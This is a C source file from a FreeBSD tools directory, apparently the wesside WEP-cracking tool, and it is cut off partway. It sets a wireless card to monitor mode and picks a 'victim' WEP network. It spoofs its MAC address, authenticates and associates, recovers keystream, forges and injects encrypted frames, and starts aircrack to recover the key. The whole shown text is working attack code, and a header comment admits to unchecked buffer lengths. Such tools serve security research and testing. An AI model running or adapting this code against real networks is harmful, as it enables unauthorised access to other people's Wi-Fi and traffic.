]> CyberLeo.Net >> Repos - FreeBSD/releng/7.2.git/blob - tools/tools/net80211/wesside/wesside/wesside.c
Create releng/7.2 from stable/7 in preparation for 7.2-RELEASE.
[FreeBSD/releng/7.2.git] / tools / tools / net80211 / wesside / wesside / wesside.c
1 /*
2  * wep owner by sorbo <sorbox@yahoo.com>
3  * Aug 2005
4  *
5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6  * overflows.  this whole thing is experimental n e way.
7  *
8  * $FreeBSD$
9  */
10
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
15 #include <sys/stat.h>
16 #include <sys/wait.h>
17 #include <sys/uio.h>
18 #include <net/if.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
24 #include <net/bpf.h>
25 #include <net/ethernet.h>
26 #include <net80211/ieee80211.h>
27 #include <net80211/ieee80211_ioctl.h>
28 #include <net80211/ieee80211_radiotap.h>
29 #include <net80211/ieee80211_freebsd.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
35 #include <stdlib.h>
36 #include <stdio.h>
37 #include <unistd.h>
38 #include <string.h>
39 #include <fcntl.h>
40 #include <errno.h>
41 #include <assert.h>
42 #include <zlib.h>
43 #include <signal.h>
44 #include <stdarg.h>
45 #include <err.h>
46 #include <pcap.h>
47
48 #include "aircrack-ptw-lib.h"
49
50 #define FIND_VICTIM             0
51 #define FOUND_VICTIM            1
52 #define SENDING_AUTH            2
53 #define GOT_AUTH                3
54 #define SPOOF_MAC               4
55 #define SENDING_ASSOC           5
56 #define GOT_ASSOC               6
57
58 int state = 0;
59
60 struct timeval arpsend;
61
62 struct tx_state {
63         int waiting_ack;
64         struct timeval tsent;
65         int retries;
66         unsigned int psent;
67 } txstate;
68
69 struct chan_info {
70         int s;
71         struct ieee80211req ireq;
72         int chan;
73 } chaninfo;
74
75 struct victim_info {
76         char* ssid;
77         int chan;
78         char bss[6];
79 } victim;
80
81 struct frag_state {
82         struct ieee80211_frame wh;
83         unsigned char* data;
84         int len;
85         unsigned char* ptr;
86         int waiting_relay;
87         struct timeval last;
88 } fragstate;
89
90 struct prga_info {
91         unsigned char* prga;
92         unsigned int len;
93         unsigned char iv[3];
94 } prgainfo;
95
96 struct decrypt_state {
97         unsigned char* cipher;
98         int clen;
99         struct prga_info prgainfo;
100         struct frag_state fragstate;
101 } decryptstate;
102
103 struct wep_log {
104         unsigned int packets;
105         unsigned int rate;
106         int fd;
107         unsigned char iv[3];
108 } weplog;
109
110 #define LINKTYPE_IEEE802_11     105
111 #define TCPDUMP_MAGIC           0xA1B2C3D4
112
113 unsigned char* floodip = 0;
114 unsigned short floodport = 6969;
115 unsigned short floodsport = 53;
116
117 unsigned char* netip = 0;
118 int netip_arg = 0;
119 int max_chan = 11;
120
121 unsigned char* rtrmac = 0;
122
123 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
124 unsigned char myip[16] = "192.168.0.123";
125
126 int bits = 0;
127 int ttl_val = 0;
128
129 PTW_attackstate *ptw;
130
131 unsigned char *victim_mac = 0;
132
133 int ack_timeout = 100*1000;
134
135 #define ARPLEN (8+ 8 + 20)
136 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
137 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
138 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
139 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
140 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
141
142 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
143
144 #define WEP_FILE "wep.cap"
145 #define KEY_FILE "key.log"
146 #define PRGA_FILE "prga.log"
147
148 unsigned int min_prga =  128;
149
150 /*
151  * When starting aircrack we try first to use a
152  * local copy, falling back to where the installed
153  * version is expected.
154  * XXX builtin pathnames
155  */
156 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
157 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
158
159 #define INCR 10000
160 int thresh_incr = INCR;
161
162 #define MAGIC_TTL_PAD 69
163
164 int crack_dur = 60;
165 int wep_thresh = INCR;
166 int crack_pid = 0;
167 struct timeval crack_start;
168 struct timeval real_start;
169
170 /* linksys does this.  The hardware pads small packets. */
171 #define PADDED_ARPLEN 54
172
173 #define PRGA_LEN (1500-14-20-8)
174 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
175
176 #define DICT_PATH "dict"
177 #define TAP_DEV "/dev/tap3"
178 unsigned char tapdev[16];
179 unsigned char taptx[4096];
180 unsigned int taptx_len = 0;
181 int tapfd = -1;
182
183 /********** RIPPED
184 ************/ 
185 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
186   register long sum;
187   u_short oddbyte;
188   register u_short answer;
189
190   sum = 0;
191   while (nbytes > 1)
192     {
193       sum += *ptr++;
194       nbytes -= 2;
195     }
196
197   if (nbytes == 1)
198     {
199       oddbyte = 0;
200       *((u_char *) & oddbyte) = *(u_char *) ptr;
201       sum += oddbyte;
202     }
203
204   sum = (sum >> 16) + (sum & 0xffff);
205   sum += (sum >> 16);
206   answer = ~sum;
207   return (answer);
208 }
209 /**************
210 ************/
211
212 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
213                           struct in_addr *dip) {
214         unsigned char *tmp;
215         struct ippseudo *ph;
216
217         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
218         if(!tmp)
219                 err(1, "malloc()");
220
221         ph = (struct ippseudo*) tmp;
222
223         memcpy(&ph->ippseudo_src, sip, 4);
224         memcpy(&ph->ippseudo_dst, dip, 4);
225         ph->ippseudo_pad =  0;
226         ph->ippseudo_p = IPPROTO_UDP;
227         ph->ippseudo_len = htons(len);
228
229         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
230
231         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
232 }
233
234 void time_print(char* fmt, ...) {
235         va_list ap;
236         char lame[1024];
237         time_t tt;
238         struct tm *t;
239
240         va_start(ap, fmt);
241         vsnprintf(lame, sizeof(lame), fmt, ap);
242         va_end(ap);
243
244         tt = time(NULL);
245
246         if (tt == (time_t)-1) {
247                 perror("time()");
248                 exit(1);
249         }
250
251         t = localtime(&tt);
252         if (!t) {
253                 perror("localtime()");
254                 exit(1);
255         }
256
257         printf("[%.2d:%.2d:%.2d] %s", 
258                t->tm_hour, t->tm_min, t->tm_sec, lame);
259 }
260
261 void check_key() {
262         char buf[1024];
263         int fd;
264         int rd;
265         struct timeval now;
266
267         fd = open(KEY_FILE, O_RDONLY);
268
269         if (fd == -1) {
270                 return;
271         }
272
273         rd = read(fd, buf, sizeof(buf) -1);
274         if (rd == -1) {
275                 perror("read()");
276                 exit(1);
277         }
278
279         buf[rd] = 0;
280
281         close(fd);
282
283         printf ("\n\n");
284         time_print("KEY=(%s)\n", buf);
285
286         if (gettimeofday(&now, NULL) == -1) {
287                 perror("gettimeofday()");
288                 exit(1);
289         }
290
291         printf ("Owned in %.02f minutes\n", 
292                 ((double) now.tv_sec - real_start.tv_sec)/60.0);
293         exit(0);
294 }
295
296 void kill_crack() {
297         if (crack_pid == 0)
298                 return;
299
300         printf("\n");
301         time_print("Stopping crack PID=%d\n", crack_pid);
302
303         // XXX doesn't return -1 for some reason! [maybe on my box... so it
304         // might be buggy on other boxes...]
305         if (kill(crack_pid, SIGINT) == -1) {
306                 perror("kill()");
307                 exit(1);
308         }
309
310         crack_pid = 0;
311
312         check_key();
313 }
314
315 void cleanup(int x) {
316         time_print("\nDying...\n");
317
318         if (weplog.fd)
319                 close(weplog.fd);
320
321         kill_crack();
322
323         exit(0);        
324 }
325
326 void set_chan(int c) {
327         if (c == chaninfo.chan)
328                 return;
329         
330         chaninfo.ireq.i_val = c;
331
332         if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
333                 perror("ioctl(SIOCS80211) [chan]");
334                 exit(1);
335         }
336         chaninfo.chan = c;
337 }
338
339 void set_if_mac(unsigned char* mac, unsigned char *name) {
340         int s;
341         struct ifreq ifr;
342         
343         s = socket(PF_INET, SOCK_DGRAM, 0);
344         if (s == -1) {
345                 perror("socket()");
346                 exit(1);
347         }
348
349         memset(&ifr, 0, sizeof(ifr));
350         strcpy(ifr.ifr_name, name);
351
352         ifr.ifr_addr.sa_family = AF_LINK;
353         ifr.ifr_addr.sa_len = 6;
354         memcpy(ifr.ifr_addr.sa_data, mac, 6);
355
356         if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
357                 perror("ioctl(SIOCSIFLLADDR)");
358                 exit(1);
359         }
360
361         close(s);
362 }
363
364 void setup_if(char *dev) {
365         int s;
366         struct ifreq ifr;
367         unsigned int flags;
368         struct ifmediareq ifmr;
369         int *mwords;
370
371         if(strlen(dev) >= IFNAMSIZ) {
372                 time_print("Interface name too long...\n");
373                 exit(1);
374         }
375
376         time_print("Setting up %s... ", dev);
377         fflush(stdout);
378         
379         set_if_mac(mymac, dev);
380
381         s = socket(PF_INET, SOCK_DGRAM, 0);
382         if (s == -1) {
383                 perror("socket()");
384                 exit(1);
385         }
386
387         // set iface up and promisc
388         memset(&ifr, 0, sizeof(ifr));
389         strcpy(ifr.ifr_name, dev);
390         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
391                 perror("ioctl(SIOCGIFFLAGS)");
392                 exit(1);
393         }
394
395         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
396         flags |= IFF_UP | IFF_PPROMISC;
397         
398         memset(&ifr, 0, sizeof(ifr));
399         strcpy(ifr.ifr_name, dev);
400         ifr.ifr_flags = flags & 0xffff;
401         ifr.ifr_flagshigh = flags >> 16;
402         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
403                 perror("ioctl(SIOCSIFFLAGS)");
404                 exit(1);
405         }
406
407         // set monitor mode
408         memset(&ifmr, 0, sizeof(ifmr));
409         strcpy(ifmr.ifm_name, dev);
410         if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
411                 perror("ioctl(SIOCGIFMEDIA)");
412                 exit(1);
413         }
414
415         if (ifmr.ifm_count == 0) {
416                 time_print("0 media thinggies...\n");
417                 exit(1);
418         }
419
420         mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
421         if (!mwords) {
422                 perror("malloc()");
423                 exit(1);
424         }
425         ifmr.ifm_ulist = mwords;
426         
427         if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
428                 perror("ioctl(SIOCGIFMEDIA)");
429                 exit(1);
430         }
431         free(mwords);
432
433         memset(&ifr, 0, sizeof(ifr));
434         strcpy(ifr.ifr_name, dev);
435         ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
436         if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) {
437                 perror("ioctl(SIOCSIFMEDIA)");
438                 exit(1);
439         }
440
441         // set chan
442         memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
443         strcpy(chaninfo.ireq.i_name, dev);
444         chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
445         
446         chaninfo.chan = 0;
447         chaninfo.s = s;
448         set_chan(1);
449
450         printf("done\n");
451 }
452
453 int open_bpf(char *dev, int dlt) {
454         int i;
455         char buf[64];
456         int fd = -1;
457         struct ifreq ifr;
458
459         for(i = 0;i < 16; i++) {
460                 sprintf(buf, "/dev/bpf%d", i);
461         
462                 fd = open(buf, O_RDWR);
463                 if(fd < 0) {
464                         if(errno != EBUSY) {
465                                 perror("can't open /dev/bpf");
466                                 exit(1);
467                         }
468                         continue;
469                 }
470                 else
471                         break;
472         }
473
474         if(fd < 0) {
475                 perror("can't open /dev/bpf");
476                 exit(1);
477         }
478
479         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
480         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
481
482         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
483                 perror("ioctl(BIOCSETIF)");
484                 exit(1);
485         }
486
487         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
488                 perror("ioctl(BIOCSDLT)");
489                 exit(1);
490         }
491
492         i = 1;
493         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
494                 perror("ioctl(BIOCIMMEDIATE)");
495                 exit(1);
496         }
497
498         return fd;
499 }
500
501 void hexdump(unsigned char *ptr, int len) {
502         while(len > 0) {
503                 printf("%.2X ", *ptr);
504                 ptr++; len--;
505         }
506         printf("\n");
507 }
508
509 char* mac2str(unsigned char* mac) {
510         static char ret[6*3];
511
512         sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
513                 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
514
515         return ret;
516 }
517
518 void inject(int fd, void *buf, int len)
519 {
520         static struct ieee80211_bpf_params params = {
521                 .ibp_vers = IEEE80211_BPF_VERSION,
522                 /* NB: no need to pass series 2-4 rate+try */
523                 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
524                 .ibp_rate0 = 2,         /* 1 MB/s XXX */
525                 .ibp_try0 = 1,          /* no retransmits */
526                 .ibp_flags = IEEE80211_BPF_NOACK,
527                 .ibp_power = 100,       /* nominal max */
528                 .ibp_pri = WME_AC_VO,   /* high priority */
529         };
530         struct iovec iov[2];
531         int rc;
532
533         iov[0].iov_base = &params;
534         iov[0].iov_len = params.ibp_len;
535         iov[1].iov_base = buf;
536         iov[1].iov_len = len;
537         rc = writev(fd, iov, 2);
538         if(rc == -1) {
539                 perror("writev()");
540                 exit(1);
541         }
542         if (rc != (len + iov[0].iov_len)) {
543                 time_print("Error Wrote %d out of %d\n", rc,
544                            len+iov[0].iov_len);
545                 exit(1);
546         }
547 }
548
549 void send_frame(int tx, unsigned char* buf, int len) {
550         static unsigned char* lame = 0;
551         static int lamelen = 0;
552         static int lastlen = 0;
553
554         // retransmit!
555         if (len == -1) {
556                 txstate.retries++;
557
558                 if (txstate.retries > 10) {
559                         time_print("ERROR Max retransmists for (%d bytes):\n", 
560                                lastlen);
561                         hexdump(&lame[0], lastlen);
562 //                      exit(1);
563                 }
564                 len = lastlen;
565 //              printf("Warning doing a retransmit...\n");
566         }
567         // normal tx
568         else {
569                 assert(!txstate.waiting_ack);
570         
571                 if (len > lamelen) {
572                         if (lame)
573                                 free(lame);
574                 
575                         lame = (unsigned char*) malloc(len);
576                         if(!lame) {
577                                 perror("malloc()");
578                                 exit(1);
579                         }
580
581                         lamelen = len;
582                 }
583
584                 memcpy(lame, buf, len);
585                 txstate.retries = 0;
586                 lastlen = len;
587         }       
588
589         inject(tx, lame, len);
590
591         txstate.waiting_ack = 1;
592         txstate.psent++;
593         if (gettimeofday(&txstate.tsent, NULL) == -1) {
594                 perror("gettimeofday()");
595                 exit(1);
596         }
597
598 #if 0
599         printf("Wrote frame at %lu.%lu\n", 
600                txstate.tsent.tv_sec, txstate.tsent.tv_usec);
601 #endif         
602 }
603
604 unsigned short fnseq(unsigned short fn, unsigned short seq) {
605         unsigned short r = 0;
606
607         if(fn > 15) {
608                 time_print("too many fragments (%d)\n", fn);
609                 exit(1);
610         }
611
612         r = fn;
613
614         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
615
616         return r;
617 }
618
619 void fill_basic(struct ieee80211_frame* wh) {
620         unsigned short* sp;
621
622         memcpy(wh->i_addr1, victim.bss, 6);
623         memcpy(wh->i_addr2, mymac, 6);
624         memcpy(wh->i_addr3, victim.bss, 6);
625
626         
627
628         sp = (unsigned short*) wh->i_seq;
629         *sp = fnseq(0, txstate.psent);
630
631         sp = (unsigned short*) wh->i_dur;
632         *sp = htole16(32767);
633 }
634
635 void send_assoc(int tx) {
636         unsigned char buf[128];
637         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
638         unsigned char* body;
639         int ssidlen;
640
641         memset(buf, 0, sizeof(buf));
642         fill_basic(wh);
643         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
644
645         body = (unsigned char*) wh + sizeof(*wh);
646         *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
647         // cap + interval
648         body += 2 + 2;
649
650         // ssid
651         *body++ = 0;
652         ssidlen = strlen(victim.ssid);
653         *body++ = ssidlen;
654         memcpy(body, victim.ssid, ssidlen);
655         body += ssidlen;
656
657         // rates
658         *body++ = 1;
659         *body++ = 4;
660         *body++ = 2;
661         *body++ = 4;
662         *body++ = 11;
663         *body++ = 22; 
664
665         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 + 
666                             strlen(victim.ssid) + 2 + 4);
667 }
668
669 void wepify(unsigned char* body, int dlen) {
670         uLong crc;
671         unsigned long *pcrc;
672         int i;
673         
674         assert(dlen + 4 <= prgainfo.len);
675
676         // iv
677         memcpy(body, prgainfo.iv, 3);
678         body +=3;
679         *body++ = 0;
680
681         // crc
682         crc = crc32(0L, Z_NULL, 0);
683         crc = crc32(crc, body, dlen);
684         pcrc = (unsigned long*) (body+dlen);
685         *pcrc = crc;
686
687         for (i = 0; i < dlen +4; i++)
688                 *body++ ^= prgainfo.prga[i];
689 }
690
691 void send_auth(int tx) {
692         unsigned char buf[128];
693         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
694         unsigned short* n;
695
696         memset(buf, 0, sizeof(buf));
697         fill_basic(wh);
698         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
699
700         n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
701         n++;
702         *n = 1;
703
704         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
705 }
706
707 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
708         unsigned char* ptr;
709         int x;
710         int gots = 0, gotc = 0;
711
712         if (len <= sizeof(*wh)) {
713                 time_print("Warning: short packet in get_victim_ssid()\n");
714                 return 0;
715         }
716
717         ptr = (unsigned char*)wh + sizeof(*wh);
718         len -= sizeof(*wh);
719
720         // only wep baby
721         if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
722                 return 0;
723         }
724
725         // we want a specific victim
726         if (victim_mac) {
727                 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
728                         return 0;
729         }
730
731         // beacon header
732         x = 8 + 2 + 2;
733         if (len <= x) {
734                 time_print("Warning short.asdfasdf\n");
735                 return 0;
736         }
737
738         ptr += x;
739         len -= x;
740
741         // SSID
742         while(len > 2) {
743                 int eid, elen;
744
745                 eid = *ptr;
746                 ptr++;
747                 elen = *ptr;
748                 ptr++;
749                 len -= 2;
750
751                 if (len < elen) {
752                         time_print("Warning short....\n");
753                         return 0;
754                 }
755                 
756                 // ssid
757                 if (eid == 0) {
758                         if (victim.ssid)
759                                 free(victim.ssid);
760                 
761                         victim.ssid = (char*) malloc(elen + 1);
762                         if (!victim.ssid) {
763                                 perror("malloc()");
764                                 exit(1);
765                         }
766                 
767                         memcpy(victim.ssid, ptr, elen);
768                         victim.ssid[elen] = 0;
769                         gots = 1;
770
771                 } 
772                 // chan
773                 else if(eid == 3) {
774                         if( elen != 1) {
775                                 time_print("Warning len of chan not 1\n");
776                                 return 0;
777                         }
778
779                         victim.chan = *ptr;
780                         gotc = 1;
781                 }
782
783                 ptr += elen;
784                 len -= elen;
785         }
786
787         if (gots && gotc) {
788                 memcpy(victim.bss, wh->i_addr3, 6);
789                 set_chan(victim.chan);
790                 state = FOUND_VICTIM;
791                 time_print("Found SSID(%s) BSS=(%s) chan=%d\n", 
792                        victim.ssid, mac2str(victim.bss), victim.chan);
793                 return 1;
794         }       
795         return 0;
796 }
797
798 void send_ack(int tx) {
799         /* firmware acks */
800 }
801
802 void do_llc(unsigned char* buf, unsigned short type) {
803         struct llc* h = (struct llc*) buf;
804
805         memset(h, 0, sizeof(*h));
806         h->llc_dsap = LLC_SNAP_LSAP;
807         h->llc_ssap = LLC_SNAP_LSAP;
808         h->llc_un.type_snap.control = 3;
809         h->llc_un.type_snap.ether_type = htons(type);
810 }
811
812 void calculate_inet_clear() {
813         struct ip* ih;
814         struct udphdr* uh;
815         uLong crc;
816         unsigned long *pcrc;
817         int dlen;
818
819         memset(inet_clear, 0, sizeof(inet_clear));
820
821         do_llc(inet_clear, ETHERTYPE_IP);
822
823         ih = (struct ip*) &inet_clear[8];
824         ih->ip_hl = 5;
825         ih->ip_v = 4;
826         ih->ip_tos = 0;
827         ih->ip_len = htons(20+8+PRGA_LEN);
828         ih->ip_id = htons(666);
829         ih->ip_off = 0;
830         ih->ip_ttl = ttl_val;
831         ih->ip_p = IPPROTO_UDP;
832         ih->ip_sum = 0;
833         inet_aton(floodip, &ih->ip_src);
834         inet_aton(myip, &ih->ip_dst);
835         ih->ip_sum = in_cksum((unsigned short*)ih, 20);
836
837         uh = (struct udphdr*) ((char*)ih + 20);
838         uh->uh_sport = htons(floodport);
839         uh->uh_dport = htons(floodsport);
840         uh->uh_ulen = htons(8+PRGA_LEN);
841         uh->uh_sum = 0;
842         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
843                                   &ih->ip_src, &ih->ip_dst);
844
845         // crc
846         dlen = 8 + 20 + 8 + PRGA_LEN;
847         assert (dlen + 4 <= sizeof(inet_clear));
848
849         crc = crc32(0L, Z_NULL, 0);
850         crc = crc32(crc, inet_clear, dlen);
851         pcrc = (unsigned long*) (inet_clear+dlen);
852         *pcrc = crc;
853
854 #if 0
855         printf("INET %d\n", sizeof(inet_clear));
856         hexdump(inet_clear, sizeof(inet_clear));
857 #endif  
858 }
859
860 void set_prga(unsigned char* iv, unsigned char* cipher, 
861               unsigned char* clear, int len) {
862
863         int i;
864         int fd;
865
866         if (prgainfo.len != 0)
867                 free(prgainfo.prga);
868         
869         prgainfo.prga = (unsigned char*) malloc(len);
870         if (!prgainfo.prga) {
871                 perror("malloc()");
872                 exit(1);
873         }
874
875         prgainfo.len = len;
876         memcpy(prgainfo.iv, iv, 3);
877         
878         for (i = 0; i < len; i++) {
879                 prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
880                                                 clear[i]);
881         }       
882
883         time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=", 
884                prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
885         hexdump(prgainfo.prga, prgainfo.len);
886
887         if (!cipher)
888                 return;
889
890         fd = open(PRGA_FILE, O_WRONLY | O_CREAT, 
891                   S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
892
893         if (fd == -1) {
894                 perror("open()");
895                 exit(1);
896         }
897
898         i = write(fd, prgainfo.iv, 3);
899         if (i == -1) {
900                 perror("write()");
901                 exit(1);
902         }
903         if (i != 3) {
904                 printf("Wrote %d out of %d\n", i, 3);
905                 exit(1);
906         }
907
908         i = write(fd, prgainfo.prga, prgainfo.len);
909         if (i == -1) {
910                 perror("write()");
911                 exit(1);
912         }
913         if (i != prgainfo.len) {
914                 printf("Wrote %d out of %d\n", i, prgainfo.len);
915                 exit(1);
916         }
917
918         close(fd);
919 }
920
921
922 void log_dictionary(unsigned char* body, int len) {
923         char paths[3][3];
924         int i, rd;
925         int fd;
926         unsigned char path[128];
927         unsigned char file_clear[sizeof(inet_clear)];
928         unsigned char* data;
929
930         len -= 4; // IV etc..
931         assert (len == sizeof(inet_clear));
932
933         data = body +4;
934         
935         if (len > prgainfo.len)
936                 set_prga(body, data, inet_clear, len);
937
938         
939         for (i = 0; i < 3; i++) 
940                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
941
942
943         strcpy(path, DICT_PATH);
944
945
946         // first 2 bytes
947         for (i = 0; i < 2; i++) {
948                 strcat(path, "/");
949                 strcat(path, paths[i]);
950                 fd = open(path, O_RDONLY);
951                 if (fd == -1) {
952                         if (errno != ENOENT) {
953                                 perror("open()");
954                                 exit(1);
955                         }
956
957                         if (mkdir(path, 0755) == -1) {
958                                 perror("mkdir()");
959                                 exit(1);
960                         }
961                 }
962                 else
963                         close(fd);
964         }
965
966         // last byte
967         strcat(path, "/");
968         strcat(path, paths[2]);
969
970         fd = open(path, O_RDWR);
971         // already exists... see if we are consistent...
972         if (fd != -1) {
973                 rd = read(fd, file_clear, sizeof(file_clear));
974
975                 if (rd == -1) {
976                         perror("read()");
977                         exit(1);
978                 }
979
980                 // check consistency....
981                 for (i = 0; i < rd; i++) {
982                         if (file_clear[i] != 
983                             (data[i] ^ inet_clear[i])) {
984                         
985                                 printf("Mismatch in byte %d for:\n", i);
986                                 hexdump(body, len+4);
987                                 exit(1);
988                         }    
989                 }
990
991                 // no need to log
992                 if (i >= sizeof(inet_clear)) {
993 #if 0           
994                         time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
995                                 body[0], body[1], body[2]);
996 #endif                          
997                         close(fd);
998                         return;
999                 }
1000         
1001                 // file has less... fd still open
1002                 
1003         } else {
1004                 fd = open(path, O_WRONLY | O_CREAT, 0644);
1005                 if (fd == -1) {
1006                         printf("Can't open (%s): %s\n", path,
1007                                strerror(errno));
1008                         exit(1);
1009                 }
1010         }
1011
1012         assert (sizeof(file_clear) >= sizeof(inet_clear));
1013
1014         for(i = 0; i < len; i++)
1015                 file_clear[i] = data[i] ^ inet_clear[i];
1016
1017         rd = write(fd, file_clear, len);
1018         if (rd == -1) {
1019                 perror("write()");
1020                 exit(1);
1021         }
1022         if (rd != len) {
1023                 printf("Wrote %d of %d\n", rd, len);
1024                 exit(1);
1025         }
1026         close(fd);
1027 }
1028
1029 void stuff_for_us(struct ieee80211_frame* wh, int len) {
1030         int type,stype;
1031         unsigned char* body;
1032
1033         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1034         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1035
1036         body = (unsigned char*) wh + sizeof(*wh);
1037
1038         // CTL
1039         if (type == IEEE80211_FC0_TYPE_CTL) {
1040                 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1041                         txstate.waiting_ack = 0;
1042                         return;
1043                 }
1044
1045                 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1046                         return;
1047                 }
1048
1049                 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1050                         return;
1051                 }
1052                 time_print ("got CTL=%x\n", stype);
1053                 return;
1054         }
1055
1056         // MGM
1057         if (type == IEEE80211_FC0_TYPE_MGT) {
1058                 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1059                         unsigned short* rc = (unsigned short*) body;
1060                         printf("\n");
1061                         time_print("Got deauth=%u\n", le16toh(*rc));
1062                         state = FOUND_VICTIM;
1063                         return;
1064                         exit(1);
1065                 }
1066                 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1067                         unsigned short* sc = (unsigned short*) body;
1068
1069                         if (*sc != 0) {
1070                                 time_print("Warning got auth algo=%x\n", *sc);
1071                                 exit(1);
1072                                 return;
1073                         }
1074                         sc++;
1075
1076                         if (*sc != 2) {
1077                                 time_print("Warning got auth seq=%x\n", *sc);
1078                                 return;
1079                         }
1080
1081                         sc++;
1082
1083                         if (*sc == 1) {
1084                                 time_print("Auth rejected... trying to spoof mac.\n");
1085                                 state = SPOOF_MAC;
1086                                 return;
1087                         }
1088                         else if (*sc == 0) {
1089                                 time_print("Authenticated\n");
1090                                 state = GOT_AUTH;
1091                                 return;
1092                         }
1093                         else {
1094                                 time_print("Got auth %x\n", *sc);
1095                                 exit(1);
1096                         }       
1097                 }
1098                 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1099                         unsigned short* sc = (unsigned short*) body;
1100                         sc++; // cap
1101
1102                         if (*sc == 0) {
1103                                 sc++;
1104                                 unsigned int aid = le16toh(*sc) & 0x3FFF;
1105                                 time_print("Associated (ID=%x)\n", aid);
1106                                 state = GOT_ASSOC;
1107                                 return;
1108                         } else if (*sc == 12) {
1109                                 time_print("Assoc rejected..."
1110                                            " trying to spoof mac.\n");
1111                                 state = SPOOF_MAC;
1112                                 return;
1113                         } else {
1114                                 time_print("got assoc %x\n", *sc);
1115                                 exit(1);
1116                         }
1117                 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1118                         return;
1119                 }
1120
1121                 time_print("\nGOT MAN=%x\n", stype);
1122                 exit(1);
1123         }
1124
1125         if (type == IEEE80211_FC0_TYPE_DATA && 
1126             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1127                 int dlen;
1128                 dlen = len - sizeof(*wh) - 4 -4;
1129
1130                 if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1131                         time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1132                                    mac2str(wh->i_addr2), dlen, stype);
1133                                    return;
1134                 }
1135
1136                 assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1137
1138                 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1139                         rtrmac = (unsigned char *) malloc(6);
1140                         if (!rtrmac) {
1141                                 perror("malloc()");
1142                                 exit(1);
1143                         }
1144
1145                         assert( rtrmac > (unsigned char*) 1);
1146
1147                         memcpy (rtrmac, wh->i_addr3, 6);
1148                         time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1149
1150                         return;
1151                 }
1152 #if 0
